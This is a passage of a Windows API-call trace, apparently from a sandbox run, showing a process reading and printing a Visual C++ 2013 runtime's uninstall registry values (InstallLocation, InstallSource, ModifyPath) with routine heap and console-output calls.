hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0151.253] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.253] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.253] GetProcessHeap () returned 0x3c0000 [0151.253] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.253] GetProcessHeap () returned 0x3c0000 [0151.253] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.253] GetProcessHeap () returned 0x3c0000 [0151.253] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.254] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0151.254] __iob_func () returned 0x7fefd702a80 [0151.254] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.254] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.254] _fileno (_File=0x7fefd702ab0) returned 1 [0151.254] _errno () returned 0x204bb0 [0151.254] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.254] _errno () returned 0x204bb0 [0151.254] GetFileType (hFile=0x50) returned 0x1 [0151.254] lstrlenW (lpString=" ") returned 4 [0151.254] GetConsoleOutputCP () returned 0x1b5 [0151.254] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.254] GetConsoleOutputCP () returned 0x1b5 [0151.254] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.254] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.254] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.254] lstrlenW (lpString="InstallLocation") returned 15 [0151.254] __iob_func () returned 0x7fefd702a80 [0151.254] _fileno (_File=0x7fefd702ab0) returned 1 [0151.254] _errno () returned 0x204bb0 [0151.254] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.254] _errno () returned 0x204bb0 [0151.254] GetFileType (hFile=0x50) returned 0x1 [0151.254] lstrlenW (lpString="InstallLocation") returned 15 [0151.254] GetConsoleOutputCP () returned 0x1b5 [0151.255] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0151.255] GetConsoleOutputCP () returned 0x1b5 [0151.255] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0151.255] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0151.255] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.255] __iob_func () returned 0x7fefd702a80 [0151.255] _fileno (_File=0x7fefd702ab0) returned 1 [0151.255] _errno () returned 0x204bb0 [0151.255] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.255] _errno () returned 0x204bb0 [0151.255] GetFileType (hFile=0x50) returned 0x1 [0151.255] lstrlenW (lpString=" ") returned 4 [0151.255] GetConsoleOutputCP () returned 0x1b5 [0151.255] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.255] GetConsoleOutputCP () returned 0x1b5 [0151.255] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.255] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.255] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.255] __iob_func () returned 0x7fefd702a80 [0151.255] _fileno (_File=0x7fefd702ab0) returned 1 [0151.255] _errno () returned 0x204bb0 [0151.255] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.255] _errno () returned 0x204bb0 [0151.255] GetFileType (hFile=0x50) returned 0x1 [0151.256] lstrlenW (lpString="REG_SZ") returned 6 [0151.256] GetConsoleOutputCP () returned 0x1b5 [0151.256] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.256] GetConsoleOutputCP () returned 0x1b5 [0151.256] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.256] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.256] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.256] __iob_func () returned 0x7fefd702a80 [0151.256] _fileno (_File=0x7fefd702ab0) returned 1 [0151.256] _errno () returned 0x204bb0 [0151.256] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.256] _errno () returned 0x204bb0 [0151.256] GetFileType (hFile=0x50) returned 0x1 [0151.256] lstrlenW (lpString=" ") returned 4 [0151.256] GetConsoleOutputCP () returned 0x1b5 [0151.256] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.256] GetConsoleOutputCP () returned 0x1b5 [0151.256] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.256] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.256] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.256] __iob_func () returned 0x7fefd702a80 [0151.256] _fileno (_File=0x7fefd702ab0) returned 1 [0151.257] _errno () returned 0x204bb0 [0151.257] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.257] _errno () returned 0x204bb0 [0151.257] GetFileType (hFile=0x50) returned 0x1 [0151.257] lstrlenW (lpString="") returned 0 [0151.257] __iob_func () returned 0x7fefd702a80 [0151.257] _fileno (_File=0x7fefd702ab0) returned 1 [0151.257] _errno () returned 0x204bb0 [0151.257] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.257] _errno () returned 0x204bb0 [0151.257] GetFileType (hFile=0x50) returned 0x1 [0151.257] lstrlenW (lpString="\n") returned 1 [0151.257] GetConsoleOutputCP () returned 0x1b5 [0151.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.257] GetConsoleOutputCP () returned 0x1b5 [0151.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.257] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.257] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.257] GetProcessHeap () returned 0x3c0000 [0151.257] GetProcessHeap () returned 0x3c0000 [0151.257] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.257] GetProcessHeap () returned 0x3c0000 [0151.257] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.257] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.257] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.258] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xe4) returned 0x0 [0151.258] GetProcessHeap () returned 0x3c0000 [0151.258] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xe6) returned 0x3dce90 [0151.258] GetProcessHeap () returned 0x3c0000 [0151.258] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90) returned 1 [0151.258] GetProcessHeap () returned 0x3c0000 [0151.258] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dce90) returned 0xe6 [0151.258] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dce90, pcbData=0x29f780*=0xe4 | out: pdwType=0x29f700*=0x1, pvData="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\", pcbData=0x29f780*=0xe2) returned 0x0 [0151.258] __iob_func () returned 0x7fefd702a80 [0151.258] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.258] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.258] _fileno (_File=0x7fefd702ab0) returned 1 [0151.258] _errno () returned 0x204bb0 [0151.258] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.258] _errno () returned 0x204bb0 [0151.258] GetFileType (hFile=0x50) returned 0x1 [0151.258] lstrlenW (lpString=" ") returned 4 [0151.258] GetConsoleOutputCP () returned 0x1b5 [0151.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.258] GetConsoleOutputCP () returned 0x1b5 [0151.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.258] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.258] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.258] lstrlenW (lpString="InstallSource") returned 13 [0151.258] __iob_func () returned 0x7fefd702a80 [0151.258] _fileno (_File=0x7fefd702ab0) returned 1 [0151.258] _errno () returned 0x204bb0 [0151.258] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.258] _errno () returned 0x204bb0 [0151.259] GetFileType (hFile=0x50) returned 0x1 [0151.259] lstrlenW (lpString="InstallSource") returned 13 [0151.259] GetConsoleOutputCP () returned 0x1b5 [0151.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0151.259] GetConsoleOutputCP () returned 0x1b5 [0151.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0151.259] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0151.259] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.259] __iob_func () returned 0x7fefd702a80 [0151.259] _fileno (_File=0x7fefd702ab0) returned 1 [0151.259] _errno () returned 0x204bb0 [0151.259] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.259] _errno () returned 0x204bb0 [0151.259] GetFileType (hFile=0x50) returned 0x1 [0151.259] lstrlenW (lpString=" ") returned 4 [0151.259] GetConsoleOutputCP () returned 0x1b5 [0151.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.259] GetConsoleOutputCP () returned 0x1b5 [0151.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.259] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.259] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.260] __iob_func () returned 0x7fefd702a80 [0151.260] _fileno (_File=0x7fefd702ab0) returned 1 [0151.260] _errno () returned 0x204bb0 [0151.260] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.260] _errno () returned 0x204bb0 [0151.260] GetFileType (hFile=0x50) returned 0x1 [0151.260] lstrlenW (lpString="REG_SZ") returned 6 [0151.260] GetConsoleOutputCP () returned 0x1b5 [0151.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.260] GetConsoleOutputCP () returned 0x1b5 [0151.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.260] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.260] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.260] __iob_func () returned 0x7fefd702a80 [0151.260] _fileno (_File=0x7fefd702ab0) returned 1 [0151.260] _errno () returned 0x204bb0 [0151.260] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.260] _errno () returned 0x204bb0 [0151.260] GetFileType (hFile=0x50) returned 0x1 [0151.260] lstrlenW (lpString=" ") returned 4 [0151.260] GetConsoleOutputCP () returned 0x1b5 [0151.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.260] GetConsoleOutputCP () returned 0x1b5 [0151.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.261] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.261] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.261] __iob_func () returned 0x7fefd702a80 [0151.261] _fileno (_File=0x7fefd702ab0) returned 1 [0151.261] _errno () returned 0x204bb0 [0151.261] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.261] _errno () returned 0x204bb0 [0151.261] GetFileType (hFile=0x50) returned 0x1 [0151.261] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\") returned 112 [0151.261] GetConsoleOutputCP () returned 0x1b5 [0151.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\", cchWideChar=112, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 112 [0151.261] GetConsoleOutputCP () returned 0x1b5 [0151.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\", cchWideChar=112, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\", lpUsedDefaultChar=0x0) returned 112 [0151.261] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 112 [0151.261] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.261] __iob_func () returned 0x7fefd702a80 [0151.261] _fileno (_File=0x7fefd702ab0) returned 1 [0151.261] _errno () returned 0x204bb0 [0151.261] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.261] _errno () returned 0x204bb0 [0151.261] GetFileType (hFile=0x50) returned 0x1 [0151.261] lstrlenW (lpString="\n") returned 1 [0151.261] GetConsoleOutputCP () returned 0x1b5 [0151.262] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.262] GetConsoleOutputCP () returned 0x1b5 [0151.262] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.262] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.262] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.262] GetProcessHeap () returned 0x3c0000 [0151.262] GetProcessHeap () returned 0x3c0000 [0151.262] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90) returned 1 [0151.262] GetProcessHeap () returned 0x3c0000 [0151.262] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dce90) returned 0xe6 [0151.262] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90 | out: hHeap=0x3c0000) returned 1 [0151.262] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.262] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0151.262] GetProcessHeap () returned 0x3c0000 [0151.262] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0151.262] GetProcessHeap () returned 0x3c0000 [0151.262] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0151.262] GetProcessHeap () returned 0x3c0000 [0151.262] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0151.262] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", pcbData=0x29f780*=0x6a) returned 0x0 [0151.262] __iob_func () returned 0x7fefd702a80 [0151.262] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.262] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.262] _fileno (_File=0x7fefd702ab0) returned 1 [0151.262] _errno () returned 0x204bb0 [0151.262] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.262] _errno () returned 0x204bb0 [0151.262] GetFileType (hFile=0x50) returned 0x1 [0151.262] lstrlenW (lpString=" ") returned 4 [0151.263] GetConsoleOutputCP () returned 0x1b5 [0151.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.263] GetConsoleOutputCP () returned 0x1b5 [0151.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.263] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.263] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.263] lstrlenW (lpString="ModifyPath") returned 10 [0151.263] __iob_func () returned 0x7fefd702a80 [0151.263] _fileno (_File=0x7fefd702ab0) returned 1 [0151.263] _errno () returned 0x204bb0 [0151.263] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.263] _errno () returned 0x204bb0 [0151.263] GetFileType (hFile=0x50) returned 0x1 [0151.263] lstrlenW (lpString="ModifyPath") returned 10 [0151.263] GetConsoleOutputCP () returned 0x1b5 [0151.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0151.263] GetConsoleOutputCP () returned 0x1b5 [0151.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0151.263] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0151.263] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.263] __iob_func () returned 0x7fefd702a80 [0151.263] _fileno (_File=0x7fefd702ab0) returned 1 [0151.264] _errno () returned 0x204bb0 [0151.264] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.264] _errno () returned 0x204bb0 [0151.264] GetFileType (hFile=0x50) returned 0x1 [0151.264] lstrlenW (lpString=" ") returned 4 [0151.264] GetConsoleOutputCP () returned 0x1b5 [0151.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.264] GetConsoleOutputCP () returned 0x1b5 [0151.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.264] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.264] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.264] __iob_func () returned 0x7fefd702a80 [0151.264] _fileno (_File=0x7fefd702ab0) returned 1 [0151.264] _errno () returned 0x204bb0 [0151.264] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.264] _errno () returned 0x204bb0 [0151.264] GetFileType (hFile=0x50) returned 0x1 [0151.264] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0151.264] GetConsoleOutputCP () returned 0x1b5 [0151.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0151.264] GetConsoleOutputCP () returned 0x1b5 [0151.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0151.264] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0151.264] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.265] __iob_func () returned 0x7fefd702a80 [0151.265] _fileno (_File=0x7fefd702ab0) returned 1 [0151.265] _errno () returned 0x204bb0 [0151.265] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.265] _errno () returned 0x204bb0 [0151.265] GetFileType (hFile=0x50) returned 0x1 [0151.265] lstrlenW (lpString=" ") returned 4 [0151.265] GetConsoleOutputCP () returned 0x1b5 [0151.265] WideCharToMultiByte (in: CodePage=0x1b5, 